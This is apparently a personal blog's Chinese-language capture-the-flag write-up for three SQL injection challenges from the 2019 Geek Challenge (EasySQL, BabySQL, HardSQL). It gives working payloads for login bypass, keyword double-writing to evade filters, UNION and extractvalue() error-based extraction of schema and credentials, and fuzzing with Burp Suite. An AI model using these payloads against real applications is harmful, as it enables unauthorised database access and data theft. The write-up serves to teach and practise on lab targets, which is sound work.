极客大挑战sql注入篇

[极客大挑战 2019]EasySQL

1.先试一下万能钥匙,提示密码的单引号没有闭合。

image.png
image.png

2.在密码前添加单引号,得到flag。
image.png
image.png

[极客大挑战 2019]BabySQL

1.试一下万能钥匙,反馈得到or好像被注释掉了,再把or换成and也是同样的结果。
image.png

2.试一下双写,再补一下密码前的单引号,成功进入得到用户名为admin。
image.png
image.png

3.再使用一下and双写,把用户名前面的1改为admin,成功进入。
image.png
image.png

4.直接使用order by语句报错,可以的到里面的or和by都被过滤掉,在把这两个双写,当order by后面数字为3成功进入,为4则报错,因此判断有三列。
image.png

5.使用联合查询注入。

-admin'  uniounionn  seleselectct  1,2,3#

image.png

 查表名
 -admin'  ununionion  seleselectct  1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database() #

image.png

 查表名
 -admin'  ununionion  seleselectct  1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema=database() #

image.png

 查一下b4bsql这个表里的值
 -admin'  ununionion  seleselectct  1,2,group_concat(id,username,passwoorrd) frfromom b4bsql #

image.png
爆出flag

[极客大挑战 2019]HardSQL

1.试一下万能钥匙,得不到反馈,猜测可能是盲注。
image.png

2.使用Fuzz字典和burp suite测试下被过滤了什么
image.png
根据response判断:

回显“你可别被我逮住了,臭弟弟”为被过滤的字符;

状态为429的为表示在一定的时间内用户发送了太多的请求,即超出了“频次限制”;

可得长度为751的为可使用的字符
image.png

3.在使用盲注之前先试一下extractvalue()函数能不能回显。

?username=1'^extractvalue(1,concat(0x7e,(select(database()))))%23&password=1

image.png

4.接着继续使用sql注入

查表名:

?username=-1'^extractvalue(1,concat(1,(select(table_name)from(information_schema.tables)where(table_schema)like('geek'))))%23&password='123

查列名:

?username=-1'^extractvalue(1,concat(1,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23&password='123

image.png
爆flag

?username=-1'^extractvalue(1,concat(1,(select(group_concat(id,'~',username,'~',password))from(H4rDsq1))))%23&password='123

image.png

  • 因为extactvalue函数回显的数字限制只回显一半的flag,所有要用left或right函数修改一下payload去掉重复的,拼接起来就是flag

      ?username=-1'^extractvalue(1,concat(1,(select(right(password,35))from(H4rDsq1))))%23&password='123
    

image.png

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2023 00hello00

请我喝杯咖啡吧~

支付宝
微信